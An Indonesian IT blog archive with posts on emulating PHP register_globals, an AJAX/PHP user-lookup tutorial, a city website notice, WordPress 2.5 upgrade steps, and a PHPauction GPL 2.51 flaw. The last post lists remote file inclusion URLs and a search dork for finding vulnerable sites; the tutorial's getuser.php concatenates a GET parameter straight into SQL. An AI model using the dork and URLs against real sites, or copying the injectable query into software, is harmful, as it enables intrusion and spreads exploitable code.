stmikbg-dot-com

Informasi Seputar IT

Archive for the ‘Web Programing’


Mengatasi masalah register_globals diPHP

Gak mau banyak ngomong, ini postingan diwebnya erwin ( moonbluez.web.id ).

Register Globals adalah fitur pada konfigurasi php yang memungkinan anda menuliskan variabel code secara global, pada umumnya hosting-hosting mendisable fitur ini secara default. Jika anda memiliki masalah dengan konfigurasi php yang mengharuskan anda menggunakan penulisan kode php menggunakan mode register_globals=ON, maka berikut ada tips yang dapat anda manfaatkan untuk merubah code anda secara massive yang sebelumnya menggunakan aturan register_globals=ON dan merubahnya menjadi code yang dapat di gunakan pada saat fitur register global dalam mode off (register_globals=OFF).

Berikut script yang harus anda buat dengan nama file globals.php

<?php
/**
* Use 1 to emulate register_globals = on
* WARNING: SETTING TO 1 MAY BE REQUIRED FOR BACKWARD COMPATIBILITY
* OF SOME THIRD-PARTY COMPONENTS BUT IS NOT RECOMMENDED
*
* Use 0 to emulate regsiter_globals = off
* NOTE: THIS IS THE RECOMMENDED SETTING FOR YOUR SITE BUT YOU MAY
* EXPERIENCE PROBLEMS WITH SOME THIRD-PARTY COMPONENTS
*/

define( 'RG_EMULATION', 1 );
/**
* Adds an array to the GLOBALS array and checks that the GLOBALS variable is
* not being attacked
* @param array
* @param boolean True if the array is to be added to the GLOBALS
*/

function checkInputArray( &$array, $globalise=false ) {
static $banned = array( '_files', '_env', '_get', '_post', '_cookie', '_server', '_session', 'globals' );
foreach ($array as $key => $value) {
$intval = intval( $key );
// PHP GLOBALS injection bug
$failed = in_array( strtolower( $key ), $banned );
// PHP Zend_Hash_Del_Key_Or_Index bug
$failed |= is_numeric( $key );
if ($failed) {
die( 'Illegal variable ' . implode( ' or ', $banned ) . ' passed to script.' );
}
if ($globalise) {
$GLOBALS[$key] = $value;
}
}
}
/**
* Emulates register globals = off
*/
function unregisterGlobals () {
checkInputArray( $_FILES );
checkInputArray( $_ENV );
checkInputArray( $_GET );
checkInputArray( $_POST );
checkInputArray( $_COOKIE );
checkInputArray( $_SERVER );
if (isset( $_SESSION )) {
checkInputArray( $_SESSION );
}
$REQUEST = $_REQUEST;
$GET = $_GET;
$POST = $_POST;
$COOKIE = $_COOKIE;
if (isset ( $_SESSION )) {
$SESSION = $_SESSION;
}
$FILES = $_FILES;
$ENV = $_ENV;
$SERVER = $_SERVER;
foreach ($GLOBALS as $key => $value) {
if ( $key != 'GLOBALS' ) {
unset ( $GLOBALS [ $key ] );
}
}
$_REQUEST = $REQUEST;
$_GET = $GET;
$_POST = $POST;
$_COOKIE = $COOKIE;
if (isset ( $SESSION )) {
$_SESSION = $SESSION;
}
$_FILES = $FILES;
$_ENV = $ENV;
$_SERVER = $SERVER;
}
/**
* Emulates register globals = on
*/
function registerGlobals() {
checkInputArray( $_FILES, true );
checkInputArray( $_ENV, true );
checkInputArray( $_GET, true );
checkInputArray( $_POST, true );
checkInputArray( $_COOKIE, true );
checkInputArray( $_SERVER, true );
if (isset( $_SESSION )) {
checkInputArray( $_SESSION, true );
}
foreach ($_FILES as $key => $value){
$GLOBALS[$key] = $_FILES[$key]['tmp_name'];
foreach ($value as $ext => $value2){
$key2 = $key . '_' . $ext;
$GLOBALS[$key2] = $value2;
}
}
}
if (RG_EMULATION == 0) {
// force register_globals = off
unregisterGlobals();
} else if (ini_get('register_globals') == 0) {
// php.ini has register_globals = off and emulate = on
registerGlobals();
} else {
// php.ini has register_globals = on and emulate = on
// just check for spoofing
checkInputArray( $_FILES );
checkInputArray( $_ENV );
checkInputArray( $_GET );
checkInputArray( $_POST );
checkInputArray( $_COOKIE );
checkInputArray( $_SERVER );
if (isset( $_SESSION )) {
checkInputArray( $_SESSION );
}
}
?>

Lebih lengkapnya buka aja http://moonbluez.web.id

belajar ajax

Kali ini kita akan coba belajar ajax dengan jalan menggabungkan php dengan ajax. Skenario yang akan dilakukan pada sesi belajar ajax saat ini seperti berikut, kita akan menampilkan data detail dari nama user yang dipilih seperti dibawah ini

Data yang akan ditampilkan ini berupa

Langkah yang dilakukan untuk membuat php+ajax ini antara lain :

  • Buat script index.html dan isikan kode dibawah ini
<html>
<head>
<script src="selectuser.js"></script>
</head>
<body>
<form>
Select a User:
<select name="users" onchange="showUser(this.value)">
<option value="1">Peter Griffin</option>
<option value="2">Lois Griffin</option>
<option value="3">Glenn Quagmire</option>
<option value="4">Joseph Swanson</option>
</select>
</form>
<p>
<div id="txtHint"><b>User info will be listed here.</b></div>
</p>
</body>
</html>

Penjelasan : Form html diatas berisi drop down box yang diberi nama “users” dan “id” dari database sebagai nilainya. Paragrap dengan tag <div> dengan id “txtHint” digunakan untuk menampung hasil record retrieved dari server. Ketika user memilih data pada box list fungsi yang bernama “ShowUser()” akan dieksekusi, eksekusi ini dipicu oleh event “onchange”. Jadi jika user akan memberi nilai baru pada box list fungsi ShowUser()” akan dieksekusi kembali

  • Setelah anda membuat kode html diatas, buat file java script dengan nama “selecteduser.js” dan isikan kode dibawah ini
var xmlHttp
function showUser(str)
{
xmlHttp=GetXmlHttpObject()
if (xmlHttp==null)
{
alert ("Browser does not support HTTP Request")
return
}
var url="getuser.php"
url=url+"?q="+str
url=url+"&sid="+Math.random()
xmlHttp.onreadystatechange=stateChanged
xmlHttp.open("GET",url,true)
xmlHttp.send(null)
}
function stateChanged()
{
if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
{
document.getElementById("txtHint").innerHTML=xmlHttp.responseText
}
}
function GetXmlHttpObject()
{
var xmlHttp=null;
try
{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
//Internet Explorer
try
{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
  • Setelah anda membuat file “selecteduser.js” sekarang anda buat file “getuser.php” dan isikan kode php dibawah ini
<?php
$q=$_GET["q"];

$con = mysql_connect('localhost', 'peter', 'abc123');
if (!$con)
{
die('Could not connect: ' . mysql_error());
}

mysql_select_db("ajax_demo", $con);

$sql="SELECT * FROM user WHERE id = '".$q."'";

$result = mysql_query($sql);

echo "<table border='1'>
<tr>
<th>Firstname</th>
<th>Lastname</th>
<th>Age</th>
<th>Hometown</th>
<th>Job</th>
</tr>";

while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['FirstName'] . "</td>";
echo "<td>" . $row['LastName'] . "</td>";
echo "<td>" . $row['Age'] . "</td>";
echo "<td>" . $row['Hometown'] . "</td>";

echo "<td>" . $row['Job'] . "</td>";
echo "</tr>";
}
echo "</table>";

mysql_close($con);
?>

Untuk mendownload contoh file ini anda bisa mendownload file contoh php+ajax

situs resmi pemerintah kota mataram

Rekan-rekan netter sekalian, sekedar untuk informasi sekarang pemerintah kota mataram telah membuka situs resmi di http://www.mataramkota.go.id/ bagi warga yang kebetulan online dan ingin menyampaikan ide, keluhan maupun saran demi kebaikan dan kemajuan pemerintahan kota mataram bisa langsung posting diweb tersebut. Semua yang anda posting akan disampaikan kebapak walikota. Tapi diharapkan semoga isi postingan tidak melanggar SARA ataupun berisi kata-kata yang tidak perlu.

Update WordPress to version 2.5

Sebelum melakukan update versi wordpress anda, terlebih dahulu lakukan backup terhadap file wp anda yang terdahulu dan jangan lupa anda melakukan dump database anda.

Setelah anda melakukan backup, jika anda menggunakan plugin lakukan terlebih dahulu deactivasi plugin anda. Ini dilakukan untuk menghindari error jika anda telah melakukan upgrade.

Adapun langkah-langkah upgrade nya step by step :

- Sebelumnya anda harus mendeactivasi semua plugins yang anda gunakan diwp anda.

- Hapus file wp anda yang lama, kecuali direktory wp-content dan file config.php

- Upload file worpress v 2.5 keweb anda dan extract ke lokasi file wp yang anda hapus sebelumnya. Misalnya wp _lama –> /home/mysite.com/public_html/

- Eksekusi file upgrade.php dan ikuti langkah-langkahnya step by step. Misalnya link diweb anda seperti mysite.com/wp-admin/upgrade.php

- Jika proses upgrade selesai disarankan untuk menghapus atau merename file upgrade.php untuk alasan keamanan.

Proses upgrade tidak akan lebih dari 5 menit.

PHPauction GPL 2.51 Multiple RFI Vulnerabilities

Baru-baru ini ditemui celah keamanan pada aplikasi PHPauction GPL 2.51 yang bisa diserang dengan tehnik remote file inclusion. File PHPauction bisa didownload disini

Adapun bugs ini terdapat pada file converter.inc.php , messages.inc.php dan setting.inc.php . Bugs ini bisa diexploit pada link

http://target.com/auction/includes/converter.inc.php?include_path=

http://target.CoM/auction/includes/messages.inc.php?include_path=

http://target.CoM/auction/includes/settings.inc.php?include_path=

Untuk pencarian target dengan dork “PHPauction GPL 2.51″ “/auction/includes/settings.inc.php?include_path=”